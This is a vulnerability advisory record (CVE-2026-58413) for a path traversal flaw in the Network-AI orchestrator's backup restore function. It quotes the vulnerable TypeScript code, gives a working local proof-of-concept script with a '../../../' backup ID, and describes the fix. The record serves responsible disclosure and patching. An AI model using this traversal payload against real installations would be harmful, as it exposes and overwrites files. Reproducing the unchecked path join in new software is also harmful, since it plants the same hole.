{"id":"CVE-2026-58413","aliases":["CVE-2026-58413","GHSA-48x2-6pr9-2jjf"],"related":[],"kind":"vulnerability","state":"published","title":"EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","summary":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","source":"cvelist"},{"lang":"en","text":"### Summary\n`EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`.\n\nA caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.\n\n### Details\n`restore()` builds `backupPath` directly from caller-controlled `backupId`:\n\n```ts\nrestore(env: EnvName, backupId: string): RestoreResult {\n  const envDir = this.getDataDir(env);\n  const backupsDir = join(envDir, '.backups');\n  const backupPath = join(backupsDir, backupId);\n\n  if (!existsSync(backupPath)) {\n    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);\n  }\n\n  this.backup(env);\n\n  const files = this._collectBackupFiles(backupPath);\n  let restored = 0;\n  for (const rel of files) {\n    if (rel === '_manifest.json') continue;\n    const src = join(backupPath, rel);\n    const dst = join(envDir, rel);\n    try {\n      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n      copyFileSync(src, dst);\n      restored++;\n    } catch { /* skip */ }\n  }\n\n  return { backupId, env, filesRestored: restored };\n}\n```\n\nThere is no resolved containment check that ensures `backupPath` remains under `backupsDir`.\n\nDefault CLI reachability exists through `network-ai env backup restore --env <env> --backup <id>`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy.\n- `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`.\n\n### PoC\nThis PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst source = path.join(base, 'outside', 'secret-src');\n\nfs.mkdirSync(source, { recursive: true });\nfs.writeFileSync(path.join(source, 'trust_levels.json'), '{\"leaked\":true}');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nconst backupId = path.relative(path.join(data, 'dev', '.backups'), source);\nconst result = mgr.restore('dev', backupId);\nconst restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');\n\nconsole.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result includes `backupId: \"../../../outside/secret-src\"`, `filesRestored: 1`, and restored content `{\"leaked\":true}`.\n\n### Impact\nA caller that can invoke backup restore can copy arbitrary readable directories into `data/<env>`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Network-AI es un orquestador multiagente de TypeScript/Node.js. Antes de la versión 5.12.2, EnvironmentManager.restore(env, backupId) calcula la ruta de la copia de seguridad con join(envDir, ’.backups’, backupId) y solo verifica que esta ruta existe. No resuelve el resultado ni verifica que permanezca bajo data/[env]/.backups. Un llamador puede pasar un ID de copia de seguridad de recorrido como .. / .. / .. / outside/source-dir para restaurar archivos desde un directorio arbitrario en el directorio de datos del entorno de destino. El problema se ha corregido en la v5.12.2. restore() ahora valida backupId contra /^[\\w\\-]+$/ y afirma que dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) antes de acceder al sistema de archivos. Los ID de copia de seguridad que contienen separadores de ruta o .. son rechazados, por lo que un ID manipulado ya no puede copiar directorios desde fuera de .backups/ al entorno.","source":"nvd"}],"published":"2026-06-19T21:42:38.000Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":6.1,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-23"],"affected":[{"ranges":[{"version":"< 5.12.2","status":"affected"}],"vendor":"Jovancoding","product":"Network-AI","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.12.2"}],"ecosystem":"npm","package":"network-ai","purl":"pkg:npm/network-ai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"5.12.2"}],"vendor":"network-ai","product":"network-ai","cpe":"cpe:2.3:a:network-ai:network-ai:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf","tags":["exploit","patch","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2","tags":["patch","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Jovancoding/Network-AI","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-20T17:20:42.994Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-58413","url":"https://www.cve.org/CVERecord?id=CVE-2026-58413","licence":"CVE Terms of Use","modified":"2026-07-20T17:20:47.976Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-48x2-6pr9-2jjf","url":"https://github.com/advisories/GHSA-48x2-6pr9-2jjf","licence":"CC-BY-4.0","modified":"2026-07-21T03:56:47.400Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-58413","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58413","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:29.256Z","epss":{"score":0.00203,"percentile":0.10804,"date":"2026-12-01T12:00:22.000Z"}}